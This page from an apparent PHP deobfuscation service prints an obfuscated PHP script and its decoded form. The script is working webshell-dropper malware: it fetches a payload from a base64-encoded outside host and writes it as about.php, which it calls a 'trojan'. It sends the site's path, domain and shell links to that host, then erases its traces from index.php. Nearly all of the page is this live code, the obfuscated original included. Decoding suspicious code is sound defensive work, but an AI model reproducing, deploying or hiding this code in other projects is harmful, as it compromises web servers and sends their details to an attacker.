Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $O00OO_0_O_ = 'n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j'; $O000OOO___ = 'file_..

Decoded Output download

<?php 
 
$O00OO_0_O_ = 'n1zb/ma5t0i28-pxuqy*6lrkdg9_ehcswo4+f37j'; 
$O000OOO___ = 'file_put_contents'; 
$O_0O_0O0O_ = 'file_get_contents'; 
$O0_O0_O0O_ = 'create_function'; 
$OOO0_O0_0_ = 'base64_encode'; 
$OO0O___0O0 = 'base64_decode'; 
$O_O_0_O00O = 'preg_replace'; 
$O_00O0OO__ = 'str_replace'; 
$O_0_O0_O0O = 'curl_setopt'; 
$O_O_O000_O = 'curl_close'; 
$O___00OO0O = 'serialize'; 
$O__0O0_0OO = 'curl_init'; 
$O_OO_O000_ = 'curl_exec'; 
 
$OOO_O00_0_ = ${"GLOBALS"}["O0_O0_O0O_"]('$url', '$OO0O0_0_O_=@${"GLOBALS"}["O_0O_0O0O_"]($url);if(!$OO0O0_0_O_){$O0O0_O_0O_=${"GLOBALS"}["O__0O0_0OO"]();${"GLOBALS"}["O_0_O0_O0O"]($O0O0_O_0O_,CURLOPT_URL,$url);${"GLOBALS"}["O_0_O0_O0O"]($O0O0_O_0O_,CURLOPT_RETURNTRANSFER,1);$OO0O0_0_O_=${"GLOBALS"}["O_OO_O000_"]($O0O0_O_0O_);${"GLOBALS"}["O_O_O000_O"]($O0O0_O_0O_);}return $OO0O0_0_O_;'); 
$O_OO__0O00 = ${"GLOBALS"}["O0_O0_O0O_"]('$O_0O_O_0O0=\'\'', '$O_0_O_OO00=array();$O_0_O_OO00["path"]=${"GLOBALS"}["O_00O0OO__"](${"GLOBALS"}["O_00O0OO__"](\'//\',\'/\',${"_SERVER"}["PHP_SELF"]),\'\',${"GLOBALS"}["O_00O0OO__"](\'\\\\\',\'/\',${"_SERVER"}["SCRIPT_FILENAME"]));$O_0_O_OO00["domain"]=${"GLOBALS"}["OO0O0__O0_"]();$O_0_O_OO00["shell_link"]=${"GLOBALS"}["OO0O___0O0"](\'aHR0cHM6Ly9vd24taW52ZXN0aWNlLmN6L2Fib3V0LnBocD81MjA=\');if(isset(${"_GET"}["del"])&&${"_GET"}["del"]=="my_code"){$O0_0OO_O0_=$O_0_O_OO00["path"]."/index.php";$OO0O0O0___=@${"GLOBALS"}["O_0O_0O0O_"]($O0_0OO_O0_);$O_OO_0_0O0=${"GLOBALS"}["OO0O___0O0"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"GLOBALS"}["O_O_0_O00O"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);$OO0O0O0___=@${"GLOBALS"}["O000OOO___"]($O0_0OO_O0_,$OO0O0O0___);if($OO0O0O0___>0){die("delete success");}die("delete failed");}$OO_O__O000=${"GLOBALS"}["OO0O___0O0"]("YWJvdXQucGhw");$O0O_0_O0_O=$O_0_O_OO00["path"]."/".$OO_O__O000;$OO0O0O0___=@${"GLOBALS"}["OOO_O00_0_"](${"GLOBALS"}["OO0O___0O0"]("aHR0cDovLzUxbGEuaXp2NC5jb20vYS50eHQ="));$OO0O0O0___=@${"GLOBALS"}["O000OOO___"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["trojan"]="http://".$O_0_O_OO00["domain"]."/".$OO_O__O000;}else{$O_0_O_OO00["trojan"]="write failed";}$OO_0O00O__=sprintf(${"GLOBALS"}["OO0O___0O0"](\'aHR0cDovLzUxbGEuaXp2NC5jb20vP2Q9JXM=\'),${"GLOBALS"}["OOO0_O0_0_"](${"GLOBALS"}["O___00OO0O"]($O_0_O_OO00)));$O__OO0O00_=${"GLOBALS"}["OOO_O00_0_"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["path"]."/index.php";$OO0O0O0___=@${"GLOBALS"}["O_0O_0O0O_"]($O0_0OO_O0_);$O_OO_0_0O0=${"GLOBALS"}["OO0O___0O0"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"GLOBALS"}["O_O_0_O00O"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"GLOBALS"}["O000OOO___"]($O0_0OO_O0_,$OO0O0O0___);}'); 
${"GLOBALS"}["O_OO__0O00"](1); ?>

Did this file decode correctly?

Original Code

<?php

$O00OO_0_O_ = 'n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j';
$O000OOO___ = 'file_put_contents';
$O_0O_0O0O_ = 'file_get_contents';
$O0_O0_O0O_ = 'create_function';
$OOO0_O0_0_ = 'base64_encode';
$OO0O___0O0 = 'base64_decode';
$O_O_0_O00O = 'preg_replace';
$O_00O0OO__ = 'str_replace';
$O_0_O0_O0O = 'curl_setopt';
$O_O_O000_O = 'curl_close';
$O___00OO0O = 'serialize';
$O__0O0_0OO = 'curl_init';
$O_OO_O000_ = 'curl_exec';

$OOO_O00_0_ = ${"GLOBALS"}["O0_O0_O0O_"]('$url', '$OO0O0_0_O_=@${"GLOBALS"}["O_0O_0O0O_"]($url);if(!$OO0O0_0_O_){$O0O0_O_0O_=${"GLOBALS"}["\x4f\x5f\x5f\x30\x4f\x30\x5f\x30\x4f\x4f"]();${"GLOBALS"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_URL,$url);${"GLOBALS"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_RETURNTRANSFER,1);$OO0O0_0_O_=${"GLOBALS"}["\x4f\x5f\x4f\x4f\x5f\x4f\x30\x30\x30\x5f"]($O0O0_O_0O_);${"GLOBALS"}["\x4f\x5f\x4f\x5f\x4f\x30\x30\x30\x5f\x4f"]($O0O0_O_0O_);}return $OO0O0_0_O_;');
$O_OO__0O00 = ${"GLOBALS"}["O0_O0_O0O_"]('$O_0O_O_0O0=\'\'', '$O_0_O_OO00=array();$O_0_O_OO00["\x70\x61\x74\x68"]=${"GLOBALS"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](${"GLOBALS"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'//\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x50\x48\x50\x5f\x53\x45\x4c\x46"]),\'\',${"GLOBALS"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'\\\\\\\\\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]=${"GLOBALS"}["\x4f\x4f\x30\x4f\x30\x5f\x5f\x4f\x30\x5f"]();$O_0_O_OO00["\x73\x68\x65\x6c\x6c\x5f\x6c\x69\x6e\x6b"]=${"GLOBALS"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly9vd24taW52ZXN0aWNlLmN6L2Fib3V0LnBocD81MjA=\');if(isset(${"\x5f\x47\x45\x54"}["\x64\x65\x6c"])&&${"\x5f\x47\x45\x54"}["\x64\x65\x6c"]=="my_code"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"GLOBALS"}["O_0O_0O0O_"]($O0_0OO_O0_);$O_OO_0_0O0=${"GLOBALS"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"GLOBALS"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);$OO0O0O0___=@${"GLOBALS"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);if($OO0O0O0___>0){die("delete success");}die("delete failed");}$OO_O__O000=${"GLOBALS"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWJvdXQucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"GLOBALS"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"GLOBALS"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cDovLzUxbGEuaXp2NC5jb20vYS50eHQ="));$OO0O0O0___=@${"GLOBALS"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"GLOBALS"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cDovLzUxbGEuaXp2NC5jb20vP2Q9JXM=\'),${"GLOBALS"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"GLOBALS"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"GLOBALS"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"GLOBALS"}["O_0O_0O0O_"]($O0_0OO_O0_);$O_OO_0_0O0=${"GLOBALS"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"GLOBALS"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"GLOBALS"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');
${"GLOBALS"}["O_OO__0O00"](1); ?>

Function Calls

null 1

Variables

$O000OOO___ file_put_contents
$O00OO_0_O_ n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j
$O0_O0_O0O_ create_function
$OO0O___0O0 base64_decode
$OOO0_O0_0_ base64_encode
$O_00O0OO__ str_replace
$O_0O_0O0O_ file_get_contents
$O_0_O0_O0O curl_setopt
$O_OO_O000_ curl_exec
$O_O_0_O00O preg_replace
$O_O_O000_O curl_close
$O__0O0_0OO curl_init
$O___00OO0O serialize

Stats

MD5 61a625d9c90f67a6962b11c036f4ed68
Eval Count 0
Decode Time 51 ms